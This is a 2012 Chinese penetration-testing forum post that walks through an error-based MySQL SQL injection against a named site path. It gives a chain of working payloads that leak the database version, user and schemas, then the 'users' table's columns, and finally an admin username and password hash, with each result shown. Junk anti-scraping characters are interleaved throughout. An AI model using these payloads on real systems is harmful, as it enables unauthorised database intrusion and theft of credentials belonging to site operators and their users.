中国网络渗透测试联盟
标题:
php+mysql高级爆错注入经测算有效
[打印本页]
作者:
admin
时间:
2012-9-13 17:52
标题:
php+mysql高级爆错注入经测算有效
http://www.wooyun.org/bugs/wooyun-2010-01666
, j9 S+ j0 R7 g4 l q
. ~' [- J% `; `+ H/ Q
之前想找个测试 没想到这有 可以测试下做个记录而已
8 f* t) X& F/ |
; r! B H! S$ N$ q
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
5 i V+ L( y2 c5 T/ A
E4 i) Y0 b8 j& r
/data0/htdocs/leqi_new/app/myapp.php
) y3 h- ^/ t9 q& O$ Q
/ b) G. B) `# t6 T+ G. v1 Q
或者
/ P( h5 d% Z# f* w# ]) O
. \3 a; s4 }* G7 C& O
/**********version()**********/ 5.1.49-log
" Z, K, G3 ] `& q+ Q* f
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
/ n$ x7 ^4 m* B
: C" x& p3 Y/ `: ~. k3 [
/**********user()**********/
, E) H) Y& K+ l+ p
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
( U2 g9 f( y8 c% m$ \* n$ T
1 h- c8 d! K b1 ?: O3 |
/**********database()**********/ leqi
. x( I: V6 K4 | F2 N
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
& I% g" |- H5 j. I. h' ]4 s
2 N9 E# B: w- ?
/**********limit依次递归爆库**********/
- w8 O/ m' J, J7 U t* q
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
8 H$ U7 D8 `7 S+ k2 Y% O2 D w
information_schema
( U& g* J7 x. o; ?: {
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
/ r/ x m1 ]" {& o1 k
leqi
1 E0 S& T2 n; u' A( C1 J
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
0 k$ s. [8 X% w( [3 b
test
" Q6 O; a' _4 W7 t4 u n" ~8 o
3 L1 X7 W/ ?* C" i% O3 h' t- U9 ]
/**********limit依次递归爆表名**********/
- @4 F6 q1 m }) M S
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
! M/ E7 E- H# Z% c7 P" J8 O
users
1 d- b$ g$ ?7 a
/ S& y+ N/ E# n7 R& f( w: r% q7 d! W; [
/**********limit依次递归爆字段名**********/
* u1 V; G p* u9 s$ {2 k2 G' i
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
3 G4 }4 o7 [! z9 ~' L6 n
user_id,username,nickname,passwd,group_id
$ D& d9 p9 D% o/ j3 y9 \; P/ E
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
" K2 x, H; ~6 R( x8 F+ f
/wapc/5000_0005_003
0 I4 X7 i s5 S
11 21
! A) Z( L2 d( B7 W3 O8 J
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
3 e. P B0 r. v8 ^: l0 ~; Z) Z
/wapc/5000_0005_003
- G9 C' X3 m' r+ \
11 341 351 361
* B7 M- n% K7 M$ C% H! B" [& h: R
/**********爆数据**********/
( x s' i. M+ W6 Z( ~2 V0 h# w N* ~
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
" J G5 Y' I( I0 t3 Z4 x
admin
# _0 r$ M, G7 P1 W" w
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
2 ?$ J( K; n% W
6a8b4574ca231eb8bd52764d4978ffcd
L, V$ C( q6 e g" i
2 Y) Q$ m3 O3 V6 L# w- R7 W4 S
" \7 r- F( Z. ?" Q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2